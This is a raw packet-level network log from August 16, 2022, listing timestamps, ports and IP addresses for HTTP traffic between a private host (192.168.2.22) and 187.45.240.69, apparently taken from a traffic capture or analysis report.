Aug 16, 2022 11:53:40.054603100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054603100 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054678917 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054733038 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054754019 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054804087 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054815054 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054847956 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054893017 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054908991 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054918051 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054951906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054971933 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.055012941 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.059732914 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.265634060 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.265666008 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.265683889 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.265697956 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.265871048 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.265974045 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.265990973 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.266010046 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.266027927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.266031981 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.266052008 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.266096115 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.266660929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.266763926 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.273822069 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.273896933 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.274028063 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.274074078 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.281632900 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281677008 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281740904 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281765938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281840086 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.281899929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281924009 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.281928062 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.281938076 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.281946898 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282083035 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282107115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282130003 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282143116 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282257080 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282284021 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282294035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282329082 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282418966 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282444000 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282457113 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282480955 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.282583952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282605886 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.282644987 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.283497095 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.283580065 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.283602953 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.289607048 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289642096 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289666891 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289689064 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289725065 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.289748907 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.289834023 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289859056 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289871931 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.289887905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.289947033 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.289987087 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290021896 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290045023 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290057898 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290074110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290209055 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290235043 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290251970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290267944 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290374994 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290397882 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290422916 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290426016 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290433884 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290460110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290602922 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290635109 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290693998 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290716887 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290734053 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290739059 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290762901 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290772915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.290781975 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.290821075 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291062117 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291085958 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291109085 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291125059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291136980 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291143894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291160107 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291194916 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291234970 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291258097 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291270971 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291286945 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291434050 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291460991 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291479111 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291501045 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291539907 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291541100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.291567087 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.291577101 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.297746897 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.297791004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.297813892 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.297835112 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.297955036 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.297996998 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.298371077 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298401117 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298420906 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298441887 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298459053 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298482895 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298506975 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298532963 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298557997 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298582077 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298592091 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.298599958 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298615932 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.298619986 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.298623085 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.298659086 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.298662901 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.305710077 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.305742025 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.305788040 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.305809021 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.305847883 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.305885077 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.305974007 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.316092014 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.323807955 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.330493927 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.509960890 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.509993076 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510010958 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510030031 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510046959 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510065079 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510082006 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510111094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.510142088 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.510147095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.510200977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510241985 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.510279894 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.510329962 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.510478020 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.511392117 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.511440992 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.511459112 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.511522055 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.511540890 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518102884 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518135071 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518152952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518172979 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518194914 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518214941 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518234968 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518254042 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518270016 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518273115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518290997 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518295050 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518300056 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518304110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518309116 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518407106 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518419027 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.518425941 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518429995 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.518460035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.524508953 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526691914 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526721954 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526740074 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526757002 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526770115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526779890 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526787996 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526804924 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526820898 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526822090 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526828051 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526839018 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526853085 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526855946 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526874065 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526881933 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526890039 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526905060 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526907921 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526926041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526931047 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526942968 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526964903 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526988029 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526989937 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.526993990 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.526997089 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.527010918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.527026892 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.527036905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.527652979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534603119 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534632921 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534648895 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534666061 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534683943 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534702063 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534723997 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534738064 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534746885 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534763098 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534768105 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534769058 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534775972 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534789085 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534809113 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534815073 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534835100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534836054 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534842968 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534856081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534876108 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534877062 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534885883 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534898043 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534914970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534920931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534924984 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534940004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534959078 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.534961939 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534981012 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.534991026 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.535007954 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.535027027 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.535645962 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.541933060 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.541975975 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.541997910 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.542012930 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.542022943 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.542037010 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.542047024 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.542048931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.542081118 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.542103052 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.563101053 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.563174009 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.563199043 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.563222885 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.563245058 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.563260078 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.563296080 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.563314915 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.567403078 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.749840975 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.749896049 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.749919891 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.749943018 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.749964952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.749986887 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.750029087 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.750092030 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750127077 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750133038 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750135899 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750139952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.750139952 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750185966 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750194073 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.750199080 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.757672071 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757725000 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757749081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757771015 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757792950 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757813931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757836103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.757941008 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758008957 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758016109 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758074999 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758080006 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758084059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758086920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758090973 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758093119 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758097887 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758145094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758150101 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758171082 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758177996 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758219004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758265972 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758271933 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758272886 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758367062 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758371115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758454084 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758460045 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758518934 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758536100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758589029 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758615971 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758671999 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.758733034 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.758790970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773628950 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773674011 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773695946 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773772001 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773788929 CEST	80	49201	187.45.240.69	192.168.2.22
